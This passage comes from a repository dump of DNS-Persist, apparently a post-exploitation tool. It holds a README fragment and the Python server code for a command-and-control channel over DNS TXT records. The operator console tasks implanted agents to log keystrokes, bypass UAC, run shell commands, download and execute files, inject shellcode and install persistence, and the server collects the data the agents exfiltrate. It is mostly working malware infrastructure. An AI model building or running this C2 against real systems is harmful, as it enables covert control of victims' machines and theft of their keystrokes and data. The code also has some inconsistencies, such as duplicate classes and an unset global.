https://github.com/0x09AL/DNS-Persist\npython server.py\n```\nBy default a DNS server on port 53 will be started. You can change that on the server.py file.\n\n### Agent\nI used Visual Studio 2010 to code the agent so importing and compiling it should be fairly easy.\n\nKeep in mind to change the DOMAIN_NAME variable in Declarations.h, to match your domain name.\n\nThe domain nameservers should point to the DNS-Persist IP address.\n\n\n```\n#define DOMAIN_NAME \"example.com\"\n```\n\n## Screenshots\n\n1. Picture-1\n\n![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-1.png \"Picture-1\")\n\n2. Picture-2\n\n![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-2.png \"Picture-2\")\n\n3. Picture-3\n\n![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-3.png \"Picture-3\")\n\n4. Picture-4\n\n![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-4.png \"Picture-4\")\n\n\n\n"
  },
  {
    "path": "modules/AgentControllerCLI.py",
    "content": "import cmd\n\nactiveAgents = [\"PC-01\",\"FUCK\"]\n\n\ndef changeInteractedAgent(agent):\n\tprint agent\n\nclass Input(cmd.Cmd):\n\n\n\tAGENTS = activeAgents\n\tprompt = \"DNS-C2 #> \"\n\tdef do_agents(self,s):\n\t\tself.list_agents()\n\tdef do_interact(self,agent):\n\t\tself.AGENTS = activeAgents\n\t\tif(agent in self.AGENTS):\n\t\t\tprint \"[+] Interacting with : \" + agent + \" [+]\"\n\t\t\tchangeInteractedAgent(agent)\n\t\t\tagentInteraction = AgentCMD()\n\t\t\tagentInteraction.prompt = self.prompt + \"(\" + agent + \"): \"\n\t\t\tagentInteraction.cmdloop()\n\t\telse:\n\t\t\tprint \"[-] Agent not valid [-]\"\n\n\tdef complete_interact(self, text, line, begidx, endidx):\n\t\tif not text:\n\t\t\tcompletions = self.AGENTS[:]\n\t\telse:\n\t\t\tcompletions = [ f\n\t\t\tfor f in self.AGENTS\n\t\t\tif f.startswith(text)\n\t\t\t]\n\t\treturn completions\n\tdef do_quit(self,s):\n\t\texit(0)\n\tdef emptyline(self):\n\t\tpass\n\tdef list_agents(self):\n\t\tfor agent in activeAgents:\n\t\t\tprint agent\n\t\t\t\n\ndef getInteractedAgent():\n\tglobal interactedAgent\n\treturn interactedAgent\n\n\n\nclass AgentCMD(cmd.Cmd):\n\n\t# This is the Agent command line .\n\tdef do_sysinfo(self,s):\n\t\tsendTask(interactedAgent,\"{SHELL}systeminfo\")\n\tdef do_bypassuac(self,s):\n\t\tsendTask(interactedAgent,\"bypassuac\")\n\tdef do_keylog_start(self,s):\n\t\tsendTask(interactedAgent,\"keylog_start\")\n\tdef do_keylog_stop(self,s):\n\t\tsendTask(interactedAgent,\"keylog_stop\")\n\tdef do_keylog_dump(self,s):\n\t\tsendTask(interactedAgent,\"keylog_dump\")\n\tdef do_exec(self,s):\n\t\tsendTask(interactedAgent,\"{SHELL}%s\" % s)\n\tdef do_downloadexecute(self,s):\n\t\tsendTask(interactedAgent,\"{DOWNLOAD}%s\" % s)\n\tdef do_persist(self,s):\n\t\tsendTask(interactedAgent,\"persist\")\n\tdef do_back(self,s):\n\t\tinteractedAgent = \"\"\n\t\treturn True\n\tdef emptyline(self):\n\t\tpass"
  },
  {
    "path": "modules/DNSListener.py",
    "content": "from dnslib import *\nimport socket\nimport time\nimport threading\nimport cmd\n\n\ninteractedAgent = \"\"\nactiveAgents = []\nagentCommands = {}\n\nagentData = {}\nagentTimes = {}\nagentShellcode = {}\n\npersistenceMethods = {\"runkey\":1,\"logonscript\":2,\"exceladdin\":3}\n\n\n\ndef sendTask(agent,command):\n\tagentCommands[agent].append([command,\"WAITING\"])\n\t\ndef addShellcode(agent,shellcodefile):\n\t# Error handling sucks will be improved in the future.\n\ttry:\n\t\tf = open(shellcodefile,\"r\")\n\t\tshellcode = f.read()\n\t\tf.close()\n\t\tif(agentShellcode.has_key(agent)):\n\t\t\tprint \"[+] Replacing shellcode with the new one [+]\"\n\t\tagentShellcode[agent] = \"{!%s!}\" % shellcode\n\t\treturn True\n\n\texcept Exception:\n\t\tprint \"[-] Shellcode file not found [-]\"\n\t\treturn False\n\n\t\n\ndef getInteractedAgent():\n\tglobal interactedAgent\n\treturn interactedAgent\n\ndef changeInteractedAgent(agent):\n\tglobal interactedAgent\n\tinteractedAgent = agent\n\n\nclass DNSListener(object):\n\n\tdef __init__(self, host=\"127.0.0.1\",port=\"53\"):\n\t\t\n\t\tprint \"[+] Starting DNS Listener [+]\"\n\n\t\tthread = threading.Thread(target=self.start_server, args=())\n\t\tthread.daemon = True # This will become false                           \n\t\tthread.start()  \n\n\n\t\tself.host = host\n\t\tself.port = port\n\t\tself.activeAgents = activeAgents\n\n\tdef add_agent_times(self,agent):\n\n\t\tif(agentTimes.has_key(agent)):\n\t\t\tagentTimes[agent] = time.time()\n\t\telse:\n\t\t\tagentTimes.update({agent:time.time()})\n\n\n\tdef get_agent_shellcode(self,agent):\n\t\tchunk = 64\n\t\t\n\t\tif(agentShellcode.has_key(agent)):\n\t\t\tif(len(agentShellcode[agent])>chunk):\n\t\t\t\tdata = agentShellcode[agent][:chunk]\n\t\t\t\tagentShellcode[agent] = agentShellcode[agent][chunk:]\n\t\t\t\t\n\t\t\t\treturn data\n\t\t\telse:\n\t\t\t\tdata = agentShellcode[agent]\n\t\t\t\tdel agentShellcode[agent]\n\t\t\t\t\n\t\t\t\treturn data\n\n\t\treturn \"!@!\"\n\n\n\n\tdef get_agent_command(self,agent):\n\t\t# This code will return the data of the agent\n\t\tif(agentCommands.has_key(agent)):\n\t\t\t\tnumber_of_commands = len(agentCommands[agent])\n\t\t\t\t#print \"Number of commands : %s\" % number_of_commands\n\t\t\t\tif(number_of_commands>0):\n\t\t\t\t\tfor command in agentCommands[agent]:\n\t\t\t\t\t\t#print command[1]\n\t\t\t\t\t\tif(command[1] == \"WAITING\"):\n\t\t\t\t\t\t\tcommand[1] = \"DONE\"\n\t\t\t\t\t\t\treturn \"CMD:%s\" % (command[0])\n\t\t\t\t\n\t\t\t\treturn \"There were no commands :)\"\n\t\telse:\n\t\t\treturn \"No agent with this name\"\n\n\n\tdef agent_probe(self,agent):\n\t\ttry:\n\t\t\tif(agentCommands.has_key(agent)):\n\t\t\t\tif(len(agentCommands[agent]) > 0):\n\t\t\t\t\ti = 0\n\t\t\t\t\tfor command in agentCommands[agent]:\n\t\t\t\t\t\tif(command[1] == \"WAITING\"):\n\t\t\t\t\t\t\ti = i + 1\n\t\t\t\t\tif (i == 0):\n\t\t\t\t\t\tagentCommands[agent] = []\n\t\t\t\t\treturn \"NR:%s\" %  i\n\n\t\texcept Exception,e:\n\t\t\tprint \"Error: %s\" % e\n\t\t\tpass\n\t\t\n\t\treturn \"There were no commands :(\"\n\n\tdef agent_receive_data(self,agent,response_data):\n\t\tglobal agentData\n\n\t\tif(not agentData.has_key(agent)):\n\t\t\tagentData.update({agent:\"\"})\n\n\t\t# Processing of the data\n\t\t# Add if it starts with {! and ends with !} is a small value\n\n\t\tif(response_data.decode('hex').startswith(\"{!\")):\n\t\t\tagentData[agent] = response_data[4:]\n\t\telif(response_data.decode('hex').endswith(\"!}\")):\n\t\t\tagentData[agent] += response_data[:-4]\n\t\t\tprint \"\\n[+] Data from agent: %s [+]\" % agent\n\t\t\tprint agentData[agent].decode('hex')\n\t\t\tagentData[agent] = \"\"\n\n\t\telse:\n\t\t\tagentData[agent] += response_data\n\n\t\t\n\t\treturn \"RESP:OK\"\n\n\t\n\n\n\tdef parse_request_packet(self, agent, packetType, response_data=\"\"):\n\t\t# This code will have the logic that will make the response\n\t\t# and decide what to do with the request\n\t\t\n\t\t# THIS IS A VERY TERRIBLE IMPLEMENTATION LOL\n\t\tif(packetType == \"PROBE\"):\n\t\t\treturn self.agent_probe(agent)\n\t\telif(packetType == \"CMD\"):\n\t\t\treturn self.get_agent_command(agent)\n\t\telif(packetType == \"SHL\"):\n\t\t\treturn self.get_agent_shellcode(agent)\n\t\telif(packetType == \"DATA\" and response_data != \"\"):\n\t\t\treturn self.agent_receive_data(agent,response_data)\n\n\t\treturn \"Agent: %s packet %s\" % (agent,packetType)\n\n\n\tdef parse_dns_request(self,data):\n\t\t# Parse DNS Requests\n\t\trequest = DNSRecord.parse(data)\n\n\t\tqtype = QTYPE[request.q.qtype]\n\t\t\n\t\tif(str(qtype) == \"PTR\"):\n\t\t\treturn \"PTR\",0,request\n\n\t\tif((len(request.q.qname.label) <= 1) or (str(qtype) != \"TXT\")):\n\t\t\t#print \"[-] Invalid Packet Received [-]\"\n\t\t\treturn 0,0,0\n\t\telse:\n\t\t\tname = request.q.qname.label[0]\n\t\t\tdomain = request.q.qname.label[1]\n\t\t\treturn name, domain , request\n\n\tdef get_dns_response(self,request,data):\n\t\t\n\t\treply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n\t\treply.add_answer(RR(request.q.qname, QTYPE.TXT, rdata=TXT(data)))\n\t\treturn reply.pack()\n\n\tdef get_dns_ptr_response(self,request):\n\t\treply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n\t\treply.add_answer(RR(request.q.qname, QTYPE.PTR, rdata=PTR(\"google-public-dns-b.google.com\")))\n\t\treturn reply.pack()\n\n\tdef get_dns_data(self,data):\n\t\t#to be implemented\n\n\n\t\tself.data = data\n\t\tpacketType = data.split(\"-\")[1]\n\t\tagent = data.split(\"-\")[0]\n\t\t\n\t\t# Add times for the latest probe.\n\n\t\tself.add_agent_times(agent)\n\n\t\tif(agent not in activeAgents):\n\t\t\tactiveAgents.append(agent)\n\t\t\tprint \"\\n[+] Agent %s called back [+]\" % (agent)\n\t\t\tif(not agentCommands.has_key(agent)):\n\t\t\t\tagentCommands.update({agent:[]})\n\t\t\t\t# If there is no commands for agent replace them.\n\t\tif(len(data.split(\"-\")) == 3 and packetType == \"DATA\"):\n\t\t\tresponse_data = data.split(\"-\")[2]\n\t\t\treturn self.parse_request_packet(agent,packetType,response_data)\n\t\telse:\n\t\t\treturn self.parse_request_packet(agent,packetType)\n\t\t#return \"packet type %s on agent %s\" % (packetType, agent)\n\n\tdef get_active_agents(self):\n\t\treturn activeAgents\n\n\tdef clear_agents(self):\n\t\t\n\t\t# This will clear agents that are in not active for at least 60 seconds\n\t\twhile 1:\n\t\t\ttime.sleep(5)\n\t\t\tfor agent in activeAgents:\n\t\t\t\tif(agentTimes.has_key(agent)):\n\t\t\t\t\tif((time.time() - agentTimes[agent]) > 60):\n\t\t\t\t\t\tprint \"[-] Agent %s is offline [-]\" % agent\n\t\t\t\t\t\tactiveAgents.remove(agent)\n\n\tdef start_server(self):\n\n\t\t# Create DNS Listener Socket\n\t\tself.dns_listener = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n\t\tself.dns_listener.bind((self.host,self.port))\n\n\t\t# This will clear the active agents and notify when the agent are not online\n\t\tagentClearThread = threading.Thread(target=self.clear_agents, args=())\n\t\tagentClearThread.daemon = True\n\t\tagentClearThread.start()\n\n\t\twhile 1:\n\t\t\t\n\n\t\t\tdata, address = self.dns_listener.recvfrom(1024)\n\t\t\tname, domain, request = self.parse_dns_request(data)\n\t\t\tif(name != 0 and domain !=0 and request !=0):\n\t\t\t\t#print name,domain\n\t\t\t\t#print \"[+] Sending Response [+]\"\n\t\t\t\tdata = self.get_dns_data(name)\n\t\t\t\treply = self.get_dns_response(request,data)\n\t\t\t\tself.dns_listener.sendto(reply,address)\n\t\t\t\n\t\t\telif(name == \"PTR\"):\n\t\t\t\t# Send here PTR response\n\t\t\t\treply = self.get_dns_ptr_response(request)\n\t\t\t\tself.dns_listener.sendto(reply,address)\n\t\t\t\t\n\n\n\n\n# This the input part of the CMD lop\n\n\nclass Input(cmd.Cmd):\n\n\tAGENTS = activeAgents\n\tprompt = \"DNS-C2 #> \"\n\tdef do_agents(self,s):\n\t\tself.list_agents()\n\tdef do_interact(self,agent):\n\t\tself.AGENTS = activeAgents\n\t\tif(agent in self.AGENTS):\n\t\t\tprint \"[+] Interacting with : \" + agent + \" [+]\"\n\t\t\tchangeInteractedAgent(agent)\n\t\t\tagentInteraction = AgentCMD()\n\t\t\tagentInteraction.prompt = self.prompt + \"(\" + agent + \"): \"\n\t\t\tagentInteraction.cmdloop()\n\t\telse:\n\t\t\tprint \"[-] Agent not valid [-]\"\n\n\tdef complete_interact(self, text, line, begidx, endidx):\n\t\tif not text:\n\t\t\tcompletions = self.AGENTS[:]\n\t\telse:\n\t\t\tcompletions = [ f\n\t\t\tfor f in self.AGENTS\n\t\t\tif f.startswith(text)\n\t\t\t]\n\t\treturn completions\n\tdef do_quit(self,s):\n\t\texit(0)\n\tdef emptyline(self):\n\t\tpass\n\tdef list_agents(self):\n\t\tif(len(activeAgents)>0):\n\t\t\tprint \"[+] Number of agents : %s [+]\" % len(activeAgents)\n\t\t\tfor agent in activeAgents:\n\t\t\t\tprint agent\n\t\telse:\n\t\t\tprint \"[-] No active agents [-]\"\n\nclass AgentCMD(cmd.Cmd):\n\n\t# This is the Agent command line .\n\tdef do_process_list(self,s):\n\t\tsendTask(interactedAgent,\"PSL\")\n\tdef do_execute_shellcode(self,shellcodefile):\n\t\tif(addShellcode(interactedAgent,shellcodefile)):\n\t\t\tsendTask(interactedAgent,\"INJ\")\n\tdef do_sysinfo(self,s):\n\t\tsendTask(interactedAgent,\"SYS\")\n\tdef do_persist(self,s):\n\t\tif(persistenceMethods.has_key(s)):\n\t\t\t\tsendTask(interactedAgent,\"PRT-%s\" % persistenceMethods[s])\n\t\telse:\n\t\t\tprint \"\\n[-] Invalid persistence method [-]\"\n\t\t\tprint \"\\nPersistence methods: \"\n\t\t\tfor key,value in persistenceMethods.iteritems():\n\t\t\t\tprint \"-> persist %s\" % (key)\n\t\t\tprint \"\\n\"\n\tdef do_shell(self,s):\n\t\tagent_shell = AgentShell()\n\t\tagent_shell.prompt = \"SHELL #>(%s) \" % interactedAgent\n\t\tagent_shell.cmdloop()\n\n\tdef do_back(self,s):\n\t\tinteractedAgent = \"\"\n\t\treturn True\n\tdef emptyline(self):\n\t\tpass\n\nclass AgentShell(cmd.Cmd):\n\n\tdef emptyline(self):\n\t\tpass\n\n\tdef onecmd(self,s):\n\t\tif(s == \"exit\" or s == \"quit\" or s == \"back\"):\n\t\t\treturn True\n\t\telif(s is None or s == \"\"):\n\t\t\tpass\n\t\telse:\n\t\t\tsendTask(interactedAgent, \"ECM-%s\" % s)\n\n"
  },
  {
    "path": "modules/__init__.py",
    "content": ""
  },
  {
    "path": "server.py",
    "content": "from modules import DNSListener\nfrom modules import AgentControllerCLI\nimport threading\n\n\n\nbanner = \"\"\"\n    ____  _   _______       ____                 _      __ \n   / __ \\/ | / / ___/      / __ \\___  __________(_)____/ /_\n  / / / /  |/ /\\__ \\______/ /_/ / _ \\/ ___/ ___/ / ___/ __/\n / /_/ / /|  /___/ /_____/ ____/  __/ /  (__  ) (__  ) /_  \n/_____/_/ |_//____/     /_/    \\___/_/  /____/_/____/\\__/  \n                                                           \n\"\"\"\nhost = \"0.0.0.0\"\nport = 53\n\nprint banner\n\n\nDNSObject = DNSListener.DNSListener(host,port)\ncommandInputs = DNSListener.Input().cmdloop()"
  }
]